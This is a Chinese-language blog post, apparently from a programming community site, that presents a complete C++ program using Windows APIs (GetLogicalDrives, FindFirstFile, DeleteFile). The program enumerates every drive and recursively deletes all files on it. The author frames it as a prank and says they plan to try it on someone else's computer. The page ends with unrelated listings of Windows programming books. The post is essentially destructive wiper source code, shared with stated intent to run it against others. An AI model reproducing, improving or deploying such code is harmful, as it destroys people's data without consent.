`
txf2004
  • 浏览: 6877350 次
  • 性别: Icon_minigender_1
  • 来自: 上海
社区版块
存档分类
最新评论

用Windows API遍历所有文件并删除

 
阅读更多

最近一直在学windows API,弄了一些好玩的东西(有点恶作剧了)...

下面是我现学现卖写的一个删除硬盘上所有文件的小程序 ....

#include <windows.h>
#include <stdio.h>
#include <bitset>
using namespace std;
void DelFile(char *cFilePath)
{
 
 WIN32_FIND_DATA data;
 HANDLE hFind;
 char cFullPath[100];
 char cNewPath[100];
 sprintf_s(cFullPath,"%s\\*.*",cFilePath);
 hFind=FindFirstFile(cFullPath,&data);

 do
 {
  if((!strcmp(".",data.cFileName)) || (!strcmp("..",data.cFileName)))
  {
   continue;
  }

  if(data.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY)
  {
   sprintf_s(cNewPath,"%s\\%s",cFilePath,data.cFileName);
   DelFile(cNewPath);//递归
  }
  
//  MessageBox(NULL,data.cFileName,"Look",0);
  sprintf_s(cFullPath,"%s\\%s",cFilePath,data.cFileName);
  DeleteFile(cFullPath);
  
 }while(FindNextFile(hFind,&data));
 

}

int WINAPI WinMain(
  HINSTANCE hInstance,      // handle to current instance
  HINSTANCE hPrevInstance,  // handle to previous instance
  LPSTR lpCmdLine,          // command line
  int nCmdShow              // show state
)
{

 DWORD dwDrive=GetLogicalDrives();
 bitset<32> bit(dwDrive);
 char Path[3]={'a',':','\0'};
 for(int ix=0;ix!=32;ix++)
 {
  if(bit.test(ix))
  {
   Path[0]='A'+ix;
   DelFile(Path);
  }
 }
 return 0;
}


最后用了GetLogicalDrives这个API函数来判断本机有多少个分区,然后用sprintf格式化一下作为DelFile的参数.

等有机会拿到别人电脑上试试吧....

分享到:
评论

相关推荐

    基于Windows API实现遍历所有文件并删除的方法

    主要介绍了基于Windows API实现遍历所有文件并删除的方法,是win32应用程序的一个比较典型的文件操作应用技巧,需要的朋友可以参考下

    精通WindowsAPI 函数 接口 编程实例

    4.3.5 查找文件、遍历指定目录下的文件和子目录 100 4.3.6 递归遍历目录树 103 4.3.7 获取、设置文件属性和时间 105 4.4 内存映射文件 110 4.4.1 使用Mapping File提高文件读写的效率 110 4.4.2 通过...

    精通Windows.API-函数、接口、编程实例.pdf

    4.3.5 查找文件、遍历指定目录下的文件和子目录 100 4.3.6 递归遍历目录树 103 4.3.7 获取、设置文件属性和时间 105 4.4 内存映射文件 110 4.4.1 使用Mapping File提高文件读写的效率 110 4.4.2 通过...

    精通WindowsAPI.pdf

    1.1.2 Windows API......................................................................................................17 1.1.3 程序入口函数...............................................................

    寒江独钓-Windows内核安全编程(高清完整版).part7

    主要知识重点包括:Windows串口与键盘过滤驱动、Windows虚拟存储设备与存储设备过滤驱动、Windows文件系统过滤驱动、文件系统透明加密/解密驱动、Windows各类网络驱动(包括TDI过滤驱动及三类NDIS驱动),以及最新的...

    寒江独钓-Windows内核安全编程(高清完整版).part4

    主要知识重点包括:Windows串口与键盘过滤驱动、Windows虚拟存储设备与存储设备过滤驱动、Windows文件系统过滤驱动、文件系统透明加密/解密驱动、Windows各类网络驱动(包括TDI过滤驱动及三类NDIS驱动),以及最新的...

    寒江独钓-Windows内核安全编程(高清完整版).part1

    主要知识重点包括:Windows串口与键盘过滤驱动、Windows虚拟存储设备与存储设备过滤驱动、Windows文件系统过滤驱动、文件系统透明加密/解密驱动、Windows各类网络驱动(包括TDI过滤驱动及三类NDIS驱动),以及最新的...

    寒江独钓-Windows内核安全编程(高清完整版).part5

    主要知识重点包括:Windows串口与键盘过滤驱动、Windows虚拟存储设备与存储设备过滤驱动、Windows文件系统过滤驱动、文件系统透明加密/解密驱动、Windows各类网络驱动(包括TDI过滤驱动及三类NDIS驱动),以及最新的...

    寒江独钓-Windows内核安全编程(高清完整版).part6

    主要知识重点包括:Windows串口与键盘过滤驱动、Windows虚拟存储设备与存储设备过滤驱动、Windows文件系统过滤驱动、文件系统透明加密/解密驱动、Windows各类网络驱动(包括TDI过滤驱动及三类NDIS驱动),以及最新的...

    Windows内核安全与驱动开发光盘源码

    12.3.2 Windows的文件缓冲 258 12.3.3 文件缓冲:明文还是密文的选择 259 12.3.4 清除文件缓冲 260 12.4 加密标识 263 12.4.1 保存在文件外、文件头还是文件尾 263 12.4.2 隐藏文件头的大小 264 12.4.3 隐藏...

Global site tag (gtag.js) - Google Analytics